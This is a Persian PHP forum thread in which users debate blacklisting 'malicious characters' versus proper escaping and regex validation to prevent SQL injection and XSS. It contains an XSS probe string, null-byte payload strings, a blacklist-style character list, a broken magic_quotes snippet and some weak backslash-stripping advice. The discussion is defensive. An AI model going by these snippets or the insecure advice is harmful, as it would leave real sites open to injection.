این چیه نوشتی بابا اینکه هرچی کاراکتر علامتگذاری و حتی کلمات انگلیسی عادی و خط جدید و اینا رو پاک میکنه!!
یعنی کاربر نمیتونه از علامتگذاری و کلمات انگلیسی معمولی هم در نوشته های خودش استفاده کنه؟
میخواد کامنت بذاره مثلا.
نمیتونه متنش چند خط باشه؟
اینا توی یه چیزی مثل فامیلی شاید کاربردی نداشته باشن، اما جاهای دیگه صددرصد کاربرد دارن. و اصلا هیچ ضرورتی نداره اینقدر محدودیت ایجاد کنیم. مثلا شما توی این فروم نمیتونی نام کاربری یا پسورد یا خیلی چیزای دیگه درست کنی که توش این کاراکترها و کلمات باشن؟ تویی آدرس ایمیل نمیتونه اون کلمات وجود داشته باشه؟
اگر قرار باشه فرمت ورودی خاصی رو محدود بکنی میتونی با رگولار اکسپرشن این کار رو بکنی که دقیقتر و امن تر هم هست. بطور مثال الان شما اون کلمات خاص رو از کجا آوری و از کجا مطمئنی فقط اون کلمات انگلیسی رو باید حذف کنی؟ بعد یعنی فقط از همین تابع استفاده میکنی و دیگر هیچ؟
اگر میگی نه برای اطلاعات دیگه از توابع مخصوصش استفاده میکنیم و امکان داره این چیزا در ورودی کاربر مجاز باشه، خب پس اون توابع مخصوص رو میتونی در موارد دیگر هم بکار ببری و نیازی به تابع شما نیست.

[phpweb]

هان که اینطور!
من با TninyMce کار نکردم ولی حتما یه راه حلی داره این قضیه.
باید مستنداتش رو خوند و دید چطوری کار میکنه و اصلا نیازی هست ما از تابع htmlspecialchars استفاده کنیم یا نه. بعدم شما فرضا از روش خودت چطوری عمل میکنی مگه؟ یعنی موقع ذخیره در دیتابیس و بعدش موقع درج در صفحه چه بلایی سرش میاری؟
بهرحال جدا کردن و علامتگذاری موجودیتها هم ممکن هست که بعدا بتونی فقط اونهایی رو که باید دیکد کنی دیکد کنی. کاری نداره با چنتا رگولار اکسپرشن و مثلا جایگزینی موجودیت ها با رشته های علامتگذاری خاصی با فرمت خاص میشه این کار رو انجام داد.

من برای کادرهایی که توسط این ادیتور تحت تاثیر قرار می گیرن از این تابع استفاده نمی کنم. فقط یه بک اسلش \ به این کاراکترها اضافه می کنم تا به پایگاه داده آسیب نرسونن و موقع بازیابی مطالب از پایگاه داده این بک اسلشها رو حذف می کنم.

در کل دنبال لیست کاراکترهای مخرب می گردم. لطفا لیست رو کامل کنید.

[eshpilen]

فقط یه بک اسلش \ به این کاراکترها اضافه می کنم تا به پایگاه داده آسیب نرسونن
نیازی نیست خودت بک اسلش اضافه کنی که برای پایگاه داده مشکلی پیش نیاد. چون تابع mysql_real_escape_string خودش برای هرکاراکتری که لازمه این کار رو انجام میده.

وقع بازیابی مطالب از پایگاه داده این بک اسلشها رو حذف می کنم.
اونوقت مطمئنی امکان XSS وجود نداره؟ چون ظاهرا شما هرچی از سمت کلاینت ارسال شده باشه رو به این روش در صفحه درج میکنی.
راستی این TninyMce فایلی در سمت سرور هم داره؟

در کل دنبال لیست کاراکترهای مخرب می گردم. لطفا لیست رو کامل کنید.
خب بعد میخوای چیکار کنی اونوقت؟

[رضا قربانی]

شوخی میکنی!
این چیه نوشتی بابا اینکه هرچی کاراکتر علامتگذاری و حتی کلمات انگلیسی عادی و خط جدید و اینا رو پاک میکنه!!
یعنی کاربر نمیتونه از علامتگذاری و کلمات انگلیسی معمولی هم در نوشته های خودش استفاده کنه؟
میخواد کامنت بذاره مثلا.
نمیتونه متنش چند خط باشه؟
اینا توی یه چیزی مثل فامیلی شاید کاربردی نداشته باشن، اما جاهای دیگه صددرصد کاربرد دارن. و اصلا هیچ ضرورتی نداره اینقدر محدودیت ایجاد کنیم. مثلا شما توی این فروم نمیتونی نام کاربری یا پسورد یا خیلی چیزای دیگه درست کنی که توش این کاراکترها و کلمات باشن؟ تویی آدرس ایمیل نمیتونه اون کلمات وجود داشته باشه؟
اگر قرار باشه فرمت ورودی خاصی رو محدود بکنی میتونی با رگولار اکسپرشن این کار رو بکنی که دقیقتر و امن تر هم هست. بطور مثال الان شما اون کلمات خاص رو از کجا آوری و از کجا مطمئنی فقط اون کلمات انگلیسی رو باید حذف کنی؟ بعد یعنی فقط از همین تابع استفاده میکنی و دیگر هیچ؟
اگر میگی نه برای اطلاعات دیگه از توابع مخصوصش استفاده میکنیم و امکان داره این چیزا در ورودی کاربر مجاز باشه، خب پس اون توابع مخصوص رو میتونی در موارد دیگر هم بکار ببری و نیازی به تابع شما نیست.

ببین داداش - این چیزی که دادم برای نام و نام خانوادگی و این چیزا بوده . می تونه برای تکس ها یه متغیر دیگه بسازه و کم و زیاد کنه و مثلا / بتونه بذاره ویا هر چیز دیگه . من به طور کلی گفتم به این صورت راحت می تونی جولوش رو بگیری.
برای ایمیل یک روش دیگه - برای <input> عددی به روش دیگر.

درسته داداش حق با تو هست ، ولی برای اینکه امنیت برقرار بشه باید این کارا رو کرد


ببینم داداش ، شما برای گرفتم اطلاعات post یا get از چه روشی برای امنیت استفاده می کنید و داخل یک متغیر می اندازید ؟ تا ما به روش شما عمل کنیم ، اینگونه بهتره تا کل کل کردن.
مشتاقم بدونم : ما چیز از شما یاد بگیریم :لبخند:

[phpweb]

نیازی نیست خودت بک اسلش اضافه کنی که برای پایگاه داده مشکلی پیش نیاد. چون تابع mysql_real_escape_string خودش برای هرکاراکتری که لازمه این کار رو انجام میده.

اونوقت مطمئنی امکان XSS وجود نداره؟ چون ظاهرا شما هرچی از سمت کلاینت ارسال شده باشه رو به این روش در صفحه درج میکنی.
راستی این TninyMce فایلی در سمت سرور هم داره؟

خب بعد میخوای چیکار کنی اونوقت؟

با توجه به توضیحات این فقط کاراکترهای زیر رو اسکیپ می کنه و کاراکترهای دیگه رو نادیده می گیره.


\x00, \n, \r, \, ', " and \x1a.

در مورد XSS هم باید بگم که فقط توی کادرهایی که از ادیتور استفاده می کنن رو به اینصورت تعریف می کنم چون باید تگهای ادیتور اجازه داده بشه که کار خودشون رو بکنن.

نمی دونم که این ادیتور فایل سمت سرور داره یا نه.

در مورد لیست کاراکترهای غیر مجاز هم باید بگم که لطفا انقدر نپرسید که به چه درد می خورن:چشمک:

لطفا لیست کاراکترها رو کامل کنید.

[eshpilen]

ببین داداش - این چیزی که دادم برای نام و نام خانوادگی و این چیزا بوده . می تونه برای تکس ها یه متغیر دیگه بسازه و کم و زیاد کنه و مثلا / بتونه بذاره ویا هر چیز دیگه . من به طور کلی گفتم به این صورت راحت می تونی جولوش رو بگیری.
برای ایمیل یک روش دیگه - برای <input> عددی به روش دیگر.

درسته داداش حق با تو هست ، ولی برای اینکه امنیت برقرار بشه باید این کارا رو کرد


ببینم داداش ، شما برای گرفتم اطلاعات post یا get از چه روشی برای امنیت استفاده می کنید و داخل یک متغیر می اندازید ؟ تا ما به روش شما عمل کنیم ، اینگونه بهتره تا کل کل کردن.
مشتاقم بدونم : ما چیز از شما یاد بگیریم :لبخند:
هرچیزی یه روش دقیق و اصولی ای داره معمولا!
اون روشی که شما گذاشتی روش منعطف و کارا و مطمئنی نیست.
مثلا یکسری کلمات انگلیسی رو مستثنا کردی، اما بقیه رو نه. بالاخره طرف میتونه در فامیلی خودش کلمات انگلیسی داشته باشه یا نه؟ اگر نمیتونه که پس کلا باید یک رگولار اکسپرشن بنویسی که جلوی هرکاراکتر لاتین رو بگیره، اگر هم میتونه که هیچ دلیلی نداره اون کلمات خاص رو مستثنا کنی، چون اونا به خودی خودشون و وقتی از تابع mysql_real_escape_string قبل از درج در دیتابیس استفاده کنی هیچ خطری ندارن.

ببین مثلا بنده برای پروژهء قدیمی و اولین پروژهء خودم در قسمت فیلدهای ثبت نام چه سیستمی پیاده کردم:


$fields=array(
'username'=>array(
'minlength'=>1,
'maxlength'=>30,
'pattern'=>'/^([\x09\x20-\x7E]|[\xC2-\xDF][\x80-\xBF]|\xE0[\xA0-\xBF][\x80-\xBF]|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}|\xED[\x80-\x9F][\x80-\xBF]|\xF0[\x90-\xBF][\x80-\xBF]{2}|[\xF1-\xF3][\x80-\xBF]{3}|\xF4[\x80-\x8F][\x80-\xBF]{2})*$/',
'unique'=>true,
'value'=>'',
'form_validate'=>true,
'input_type'=>'text'
),
'password'=>array(
'minlength'=>3,
'maxlength'=>64,
'pattern'=>'',
'unique'=>false,
'value'=>false,
'form_validate'=>true,
'input_type'=>'text'
),
'email'=>array(
'minlength'=>6,
'maxlength'=>40,
'pattern'=>'/^[a-z0-9_\-+\.]+@([a-z0-9\-+]+\.)+[a-z]{2,5}$/i',
'unique'=>true,
'value'=>'',
'form_validate'=>true,
'input_type'=>'text'
),
'gender'=>array(
'minlength'=>1,
'maxlength'=>1,
'pattern'=>'/^[mfn]$/i',
'unique'=>false,
'value'=>'',
'form_validate'=>false,
'input_type'=>'radio'
)
);

درمورد هر فیلد حداقل طول، حداکثر طول مجاز، رگولار اکسپرشن (درصورت لزوم)، اختیاج به یکتا بودن یا نبودن در دیتابیس، ... رو مشخص کردم.
کد ولیدیت سمت کلاینت از روی همین مشخصات تولید میشه که بهش کاری نداریم چون مهم از نظر امنیتی ولیدیت سمت سرور هست.
در سمت سرور اول وجود فیلدهایی رو که در فرم رجیستر هستن و تعریف مشخصات اونا در اینجا اومده چک میکنم که این متغییرها در دیتای POST وجود داشته باشن، بعد به شرط درست بودن مرحلهء قبلی چک میکنم که طول فیلد از حداقل طول تعیین شده کمتر نباشه، بعد به شرط درست بودن مرحلهء قبلی چک میکنم که طول فیلد از حداکثر طول تعیین شده بیشتر نباشه (ضمنا این مقایسهء طول ها بر اساس UTF8 انجام میشه - یعنی بر اساس کاراکترهای واقعی یونیکد)، بعد درصورت درست بودن مرحلهء قبلی چک میکنم اگر رگولار اکسپرشن برای اون فیلد تعریف شده باشه مقدار اون فیلد بتونه از تست رگولار اکسپرشن عبور کنه، بعد درصورت درست بودن مرحلهء قبلی چک میکنم که اگر تعیین شده بود مقدار اون فیلد باید در دیتابیس فقط یکی باشه (مثلا یک ایمیل خاص باید فقط یک بار در دیتابیس برای یک نفر درج شده باشه) تکراری نباشه. اگر فیلد تمام این مراحل رو پاس بکنه تازه مقدارش با استفاده از تابع mysql_real_escape_string امن و بدون مشکل میشه و بعد در دیتابیس درج میشه.
خب الان این سیستم کجاش اجازهء چه خطری رو میده؟ درمورد کاراکترها هم میبینی که انعطاف حداکثری به کاربران دادم و هیچ نیازی ندیدم کلمات خاصی یا کاراکترهای خاصی رو فیلتر کنم.
اون رگولار اکسپرشن برای username هم که میبینی بر اساس UTF8 تهیه کردم و باوجودی که قیافش وحشتناک هست اما عملا جز چند کاراکتر خیلی خاص مثل Tab و اگر درست یادم باشه New Line و اینها هر چیز دیگری رو اجازه میده. چون کاراکترهایی مثل Tab و New Line در صفحات HTML مشخص نمیشن و بجاشون فقط یک فاصله درج میشه و بنابراین ممکنه کسی به این روش آیدی کس دیگری رو جعل کنه که ظاهر اون آیدیها دقیقا یکی خونده میشه اما درواقع متفاوت هستن.

اینم بخشی که عمل چک کردن فیلدها رو انجام میده:



$msgs=null;
foreach($fields as $field_name=>$specs) {//validate post data
$min_length=$specs['minlength'];
$max_length=$specs['maxlength'];
$pattern=$specs['pattern'];
$unique=$specs['unique'];

if(!isset($_POST[$field_name]))
$msgs[]="No $field_name field exist!";
else {//field exists
$field_value=$_POST[$field_name];
if($fields[$field_name]['value']!==false) $fields[$field_name]['value']=$field_value;

if(utf8_strlen($field_value)<$min_length)
$msgs[]="$field_name is shorter than $min_length characters!";//Shorter than minimum length
else if(utf8_strlen($field_value)>$max_length)
$msgs[]="$field_name is longer than $max_length characters!";//Longer than maximum length
else if($pattern and $field_value and !preg_match($pattern, $field_value))
$msgs[]="$field_name is invalid!";
else if($unique) {//Check if already registered
if(!isset($db)) {
$include_request=array(
'',
'class_db.php'=>'class',
'info_dbs.php'=>'info',
'info_dbms.php'=>'info'
);
include $_SERVER['DOCUMENT_ROOT'].'/includer.php';

$db=new hm_db($dbms_info['host'], $dbms_info['user'], $dbms_info['pass'], $db_names[0]);
if($db->err_msg) {
$failure_msg=($tech_err_msg)? $db->err_msg : "Problem connecting database.<br />Registration failed";
$include_request=array(
'',
'page_failure.php'=>'page'
);
include $_SERVER['DOCUMENT_ROOT'].'/includer.php';
exit;
}
}

$db->query("SET NAMES 'utf8'");

$query="select * from `{$table_names[0][0]}` where `$field_name`=".$db->quote_smart($field_value);
if($db->result_num($query)) $msgs[]="$field_name is already registered; please choose another $field_name!";
}//Check if already registered
}//field exists
}//validate post data

در پایان این حلقه با شرط if($msgs) چک میکنم که اگر مقادیری (پیامهای خطا) در متغییر $msgs قرار گرفته بودن به معنای وجود مشکل در ورودیهای کاربر هست و اون پیامهای خطا هم به کاربر نمایش داده میشن.

ضمنا بخاطر اینکه بنده محدودیتی روی فیلدهایی حتی مثل نام کاربری نذاشتم و مثلا کاربر میتونه نام کاربری ای حتی بصورت <script>alert(1);</script> داشته باشه، موقع درج نام کاربری در صفحات از تابع htmlspecialchars استفاده میکنم که باعث جلوگیری از XSS میشه. البته شما مجبور نیستید چنین نامهای کاربری رو اجازه بدید، اما میخوام بگم حتی چنین چیزهایی هم اگر از روش و توابع درست در جاهای لازم استفاده کنید خطری ندارن.
با اضافه کردن رگولار اکسپرشن میشه خیلی راحت فرمت هر فیلدی رو که میخوایم محدود کنیم و رگولار اکسپرشن خیلی مطمئن تر و امن تر و دقیق تر و منعطف تر از روش شماست. در رگولار اکسپرشن میتونید تعیین کنید چه کاراکترهایی مجاز هستن و بقیهء کاراکترها غیرمجاز محسوب بشن، یا کدوما غیرمجاز هستن و بقیه مجاز محسوب بشن و میتونید بصورت دقیق فرمت رو مشخص کنید.

ضمنا استفاده از تابع mysql_real_escape_string موقع درج هر دیتایی که از منبع نامطمئنی میاد در دیتابیس لازمه. یعنی حتی اگر مثلا ما اجازه ندیم کاربر کاراکترهای خطرناک رو ارسال بکنه، بازم باید از نظر اصولی از این تابع استفاده کنید تا برنامه درصورت تغییر تنظیمات هم امن بمونه. این تابع از SQL Injections جلوگیری میکنه.

همینطور موقعی که دیتایی رو که از منبع نامطمئنی در دیتابیس درج شده از دیتابیس بیرون میکشید و میخواید در صفحه درج کنید/نمایش بدید باید از تابع htmlspecialchars استفاده کنید. این تابع هم از XSS جلوگیری میکنه.

البته در شرایط خاصی هست که مثلا ما میخوایم عمدا یک کد HTML یا جاوااسکریپت رو که توسط کاربر ارسال شده در صفحه اجرا کنیم، در این شرایط بنابراین از تابع htmlspecialchars استفاده نمیکنیم، چون این تابع اسکریپتها و تگهای HTML رو از کار میندازه و فقط بحالت متنی نمایش میده.

خلاصه خیلی سرراست و روشن هست! این کاراکترها نیستن که بصورت ذاتی غیرمجاز/خطرناک/مخرب هستن، بلکه کدنویسی شماست که ممکنه ضعف داشته باشه.

[eshpilen]

در مورد لیست کاراکترهای غیر مجاز هم باید بگم که لطفا انقدر نپرسید که به چه درد می خورن:چشمک:

لطفا لیست کاراکترها رو کامل کنید.
عزیز برادر چیزی بنام کاراکتر غیرمجاز و مخرب و غیره بصورت کلی وجود نداره. این به کاربرد و معنای هر اطلاعات خاص و سیاست شما برمیگرده که چه کاراکترهایی رو اجازه بدی یا ندی. وگرنه همهء کاراکترها رو میشه از کاربر گرفت و در دیتابیس ذخیره کرد و بازیابی کرد و دوباره در صفحات نشون داد بدون اینکه هیچ مشکل امنیتی ای برای برنامه پیش بیاد. به شرط اینکه از توابع و روشهای درست برای این کار در تمام جاهایی که لازمه استفاده کنی و جایی فراموشت نشه.
بطور مثال الان همین کدهایی که ما در اینجا درج میکنیم توش همه نوع کاراکتر هست و کلی کاراکترهای بقول شما مخرب و غیرمجاز داره. پس چطور ما این کاراکترها رو ارسال میکنیم و نرم افزار این فروم اونا رو از ما قبول میکنه و در دیتابیس درج میکنه و دوباره از دیتابیس بیرون میکشه و در صفحات نمایش میده و هیچ خطری هم برای این سایت یا کاربرانش پیش نمیاد؟

[phpweb]

عزیز برادر چیزی بنام کاراکتر غیرمجاز و مخرب و غیره بصورت کلی وجود نداره. این به کاربرد و معنای هر اطلاعات خاص و سیاست شما برمیگرده که چه کاراکترهایی رو اجازه بدی یا ندی. وگرنه همهء کاراکترها رو میشه از کاربر گرفت و در دیتابیس ذخیره کرد و بازیابی کرد و دوباره در صفحات نشون داد بدون اینکه هیچ مشکل امنیتی ای برای برنامه پیش بیاد. به شرط اینکه از توابع و روشهای درست برای این کار در تمام جاهایی که لازمه استفاده کنی و جایی فراموشت نشه.
بطور مثال الان همین کدهایی که ما در اینجا درج میکنیم توش همه نوع کاراکتر هست و کلی کاراکترهای بقول شما مخرب و غیرمجاز داره. پس چطور ما این کاراکترها رو ارسال میکنیم و نرم افزار این فروم اونا رو از ما قبول میکنه و در دیتابیس درج میکنه و دوباره از دیتابیس بیرون میکشه و در صفحات نمایش میده و هیچ خطری هم برای این سایت یا کاربرانش پیش نمیاد؟

ما برای حمله کردن به دیتابیس انجمن از این کاراکترها استفاده نمی کنیم.

در ثانی چه اشکال داره که لیست این کاراکترها رو به دست بیارم؟

من تلاش داشتم که یه مرجع برای کاراکترهای مخرب توی انجمن ایجاد کنم. مباحثی که شما ذلرید مطرح می کنید، بیشتر به نحوه نوشتن کدهای امنیتی مربوط می شه که خودش یه بحث جداگانه هست.

من هم می دونم که توی یه فیلد که شماره موبایل رو می گیره، با فیلتر کردن کاراکترهای غیر عددی می شه جلوی خیلی از حمله ها رو گرفت.

اما بحث من در اینجا متفاوت هست.

یه مرجع می خوام ایجاد کنم که هم خودم و هم سایر طراحان بتونن با کاراکترهایی که می شه ازشون بصورت مخرب استفاده کرد آشنا بشن. بعد از آشنایی با این کاراکترها می شه در مورد نوشتن توابع و استفاده از توابع آماده فکر کرد.

[phpweb]

خلاصه خیلی سرراست و روشن هست! این کاراکترها نیستن که بصورت ذاتی غیرمجاز/خطرناک/مخرب هستن، بلکه کدنویسی شماست که ممکنه ضعف داشته باشه.

باز هم باید بگم که نحوه مقابله با حملات مربوط به این بحث نیست و یه بحث جدا طلب می کنه.

حملات زیادی هست که یکیشون sql injection هست.

[eshpilen]

ما برای حمله کردن به دیتابیس انجمن از این کاراکترها استفاده نمی کنیم.

چه ربطی داره؟
شما نمیکنی، کس دیگه که میکنه. اگر میتونستن میکردن.


در ثانی چه اشکال داره که لیست این کاراکترها رو به دست بیارم؟اشکالی نداره و ممکنه مفید باشه.
ولی من فکر کردم تفکر شما اشتباه هست و میخوای یه تابع ایجاد کنی که باهاش تمام این کاراکترها رو در تمام ورودیها حذف کنی یا تبدیل کنی. این کار اصولی نیست و ضرورتی هم نداره.


یه مرجع می خوام ایجاد کنم که هم خودم و هم سایر طراحان بتونن با کاراکترهایی که می شه ازشون بصورت مخرب استفاده کرد آشنا بشن. بعد از آشنایی با این کاراکترها می شه در مورد نوشتن توابع و استفاده از توابع آماده فکر کرد. بهتره حداقل کاراکترهایی که میذارید مشخص کنید کجا و چطوری مورد سوء استفاده قرار میگیرن. وگرنه اصلا معلوم نیست چی به چیه که بعد بخوایم روش فکری هم بکنیم و تابعی درست کنیم.


حملات زیادی هست که یکیشون sql injection هست. خب این حمله ها رو نام ببرید یا بهشون اشاره کنید و مثالی چیزی. بنظرم این بحثها خیلی مفیدتر و اساسی تر هست.
اونایی که من حضور ذهن دارم: sql injection، XSS, CSRF, Header injection

بعد البته موارد ریز و درشت زیاد خوندم بنظرم. بعضی موارد شرایط و جاهای خاصی دارن. بعضی موارد بیشتر نکته و ضعفهای نسبی هستن تا یک حملهء کامل و خاص. خلاصه امنیت بحث گسترده و پیچیده هست. شما تمام کاراکترهایی رو هم که پیدا میکنی حذف کنی میبینی دست آخر بازم جای نفوذ هست. همه چیز امنیت هم که به این نوع حمله ها و چنتا کاراکتر خلاصه نمیشه لزوما.
باید آدم بینش داشته باشه و بدونه دقیقا چی میگذره و چطور میشه از هر قسمت یک سیستم سوء استفاده کرد. خیلی نکات ریز درکار هست. دونه بدونه رو یا باید مطالعه داشته باشی و فهمیده باشی یا خودت اونقدری تیز شده باشی و احاطه پیدا کرده باشی که بتونی پیشبینی کنی.
مثلا چند وقت پیش بود که یک سیستم کپچا که سمت کلاینت Verify میکرد ارائه کردن و بعد از اینکه بررسیش کردم یک سوتی بزرگ و چنتا ضعف دیگه توش پیدا شد و کلا در نهایت باید بگم غیرقابل استفاده بود (اصلا فکر کردید چرا کپچاها هیچوقت سمت کلاینت Verify نمیکنن؟). این مورد مثلا ارتباطی با کاراکتر خاص و حمله های مذکور نداره و هیچکس هم متوجه نمیشد. باید دانش و بینش در زمینهء رمزنگاری و امنیت بطور اصولی داشته باشی تا بتونی به ضعف و روش شکست این سیستمها پی ببری.

[phpweb]

چه ربطی داره؟
شما نمیکنی، کس دیگه که میکنه. اگر میتونستن میکردن.

اشکالی نداره و ممکنه مفید باشه.
ولی من فکر کردم تفکر شما اشتباه هست و میخوای یه تابع ایجاد کنی که باهاش تمام این کاراکترها رو در تمام ورودیها حذف کنی یا تبدیل کنی. این کار اصولی نیست و ضرورتی هم نداره.

بهتره حداقل کاراکترهایی که میذارید مشخص کنید کجا و چطوری مورد سوء استفاده قرار میگیرن. وگرنه اصلا معلوم نیست چی به چیه که بعد بخوایم روش فکری هم بکنیم و تابعی درست کنیم.

خب این حمله ها رو نام ببرید یا بهشون اشاره کنید و مثالی چیزی. بنظرم این بحثها خیلی مفیدتر و اساسی تر هست.
اونایی که من حضور ذهن دارم: sql injection، XSS, CSRF, Header injection

بعد البته موارد ریز و درشت زیاد خوندم بنظرم. بعضی موارد شرایط و جاهای خاصی دارن. بعضی موارد بیشتر نکته و ضعفهای نسبی هستن تا یک حملهء کامل و خاص. خلاصه امنیت بحث گسترده و پیچیده هست. شما تمام کاراکترهایی رو هم که پیدا میکنی حذف کنی میبینی دست آخر بازم جای نفوذ هست. همه چیز امنیت هم که به این نوع حمله ها و چنتا کاراکتر خلاصه نمیشه لزوما.
باید آدم بینش داشته باشه و بدونه دقیقا چی میگذره و چطور میشه از هر قسمت یک سیستم سوء استفاده کرد. خیلی نکات ریز درکار هست. دونه بدونه رو یا باید مطالعه داشته باشی و فهمیده باشی یا خودت اونقدری تیز شده باشی و احاطه پیدا کرده باشی که بتونی پیشبینی کنی.
مثلا چند وقت پیش بود که یک سیستم کپچا که سمت کلاینت Verify میکرد ارائه کردن و بعد از اینکه بررسیش کردم یک سوتی بزرگ و چنتا ضعف دیگه توش پیدا شد و کلا در نهایت باید بگم غیرقابل استفاده بود (اصلا فکر کردید چرا کپچاها هیچوقت سمت کلاینت Verify نمیکنن؟). این مورد مثلا ارتباطی با کاراکتر خاص و حمله های مذکور نداره و هیچکس هم متوجه نمیشد. باید دانش و بینش در زمینهء رمزنگاری و امنیت بطور اصولی داشته باشی تا بتونی به ضعف و روش شکست این سیستمها پی ببری.

به هر حال دونستن لیست کاراکترها هم جز اصول امنیتی هست.

تصمیم داشتم که بعد از اینکه این کاراکترها رو بدست بیارم یه پست دیگه بزنم که موارد استفاده از این کاراکترها رو توضیح بده.

[phpweb]

از دوستان خواهش می کنم که فقط کاراکترهایی که کاربرد مخرب دارن رو توی این پست قرار بدن.

اگر لیست کامل این کاراکترها بدست اومد اونوقت در مورد نحوه نوشتن توابع و مقابله با انواع حمله ها بحث کنیم.

در ادامه لیست تعدادی از کاراکترهایی که می تونن کاربرد مخرب داشته باشن رو قرار می دم.

ابتدا کاراکترهایی که روی صفحه کلید قرار دارن و نیازی به گشتن به دنبالشون نیست.


` ~ @ # $ % ^ & * ( ) - _ = + [ ] { } ; : ' " < > , . ? \ | /

حالا رشته هایی که می تونن این حملات رو در پی داشته باشن.


\0 \xFF %00

نکته قابل توجه در مورد این کاراکترها اینه که اگه کاراکترهای (منظور متا کاراکترها) صفحه کلید رو اسکیپ کنیم، سایر رشته های مخرب رو هم بنوعی اسکیپ کردیم.

لطفا اگه کاراکتر یا رشته ای جامونده اون رو به لیست اضافه کنید.

[ahmad.khaliq]

ببخشید که در این بحث تخصصی شرکت میکنم. اما من فکر میکنم که نمیشه لیست کامل و جامعی از کاراکترهای مخرب ایجاد کرد. بعضی از کاراکترها یه جاهایی کاربردی هستند.
به نظر من شما باید مشخص کنید که این تابع رو میخواهید روی چه نوع ورودی هایی اعمال کنید تا مشخص بشه چه نوع کاراکترهایی مجاز هستند و چه کاراکترهایی غیر مجاز.

[phpweb]

ببخشید که در این بحث تخصصی شرکت میکنم. اما من فکر میکنم که نمیشه لیست کامل و جامعی از کاراکترهای مخرب ایجاد کرد. بعضی از کاراکترها یه جاهایی کاربردی هستند.
به نظر من شما باید مشخص کنید که این تابع رو میخواهید روی چه نوع ورودی هایی اعمال کنید تا مشخص بشه چه نوع کاراکترهایی مجاز هستند و چه کاراکترهایی غیر مجاز.

من با نظر شما موافق نیستم. چون پی اچ پی مجک کتها رو برای افراد تازه کاریی ارائه داده که با تهدیدها آشنایی ندارن و هیچ اطلاعی در مورد انواع حمله و کاراکترهایی که می تونن باعث این حملات بشن، ندارن.

به هرحال اگر دوستان کاراکترهایی که می شناسن و می دونن کاربرد مخرب دارن رو توی این پست قرار بدن می شه به یه لیست کامل و جامع رسید.

بعدا می شه در مورد نحوه استفاده از این کاراکترها و نوشتن توابع امنیتی مختلف بحث کرد.

[eshpilen]

مجک کت چیه؟ :متفکر:

[ahmad.khaliq]

آره!!! سوال منم همینه!؟!؟!؟

مجک کت چیه؟ :متفکر:

[phpweb]

مجک کت چیه؟ :متفکر:

منظورم magic quotes هست. این قابلیت برای زمانی هست که برنامه نویس اصلا با موارد امنیتس آششنایی نداره. به کمک این قابلیت بعضی از کاراکترها توی سرور بصورت اتوماتیک اسکیپ می شن. در واقع کار تابع addslashes رو انجام می دن.

در نسخه های جدید پی اچ قرار این قابلیت غیر فعال باشه اما نسخه های 4 و 5 از این قابلیت استفاده می کنن. برای اینکه متوجه بشید این قابلیت فعال هست یا نه از تابع زیر استفاده کنید.

get_magic_quotes_gpc

با توجه به اینکه برنامه نویسان حرفه ای به این قابلیت احتیاج ندارن از کد زیر استفاده می کنن تا این قابلت رو خنثی کنن.




if(get_magic_quotes_gpc())
{
stripslashes($input)
}

[phpweb]

دوستان عزیر:

لطفا توی این پست کاراکترها یا رشته هایی که فکر می کنید می شه ازشون در کاربردهای مخرب استفاده کرد رو قرار بدید و از قرار دادن توابع یا توضیحات اضافه خود داری کنید.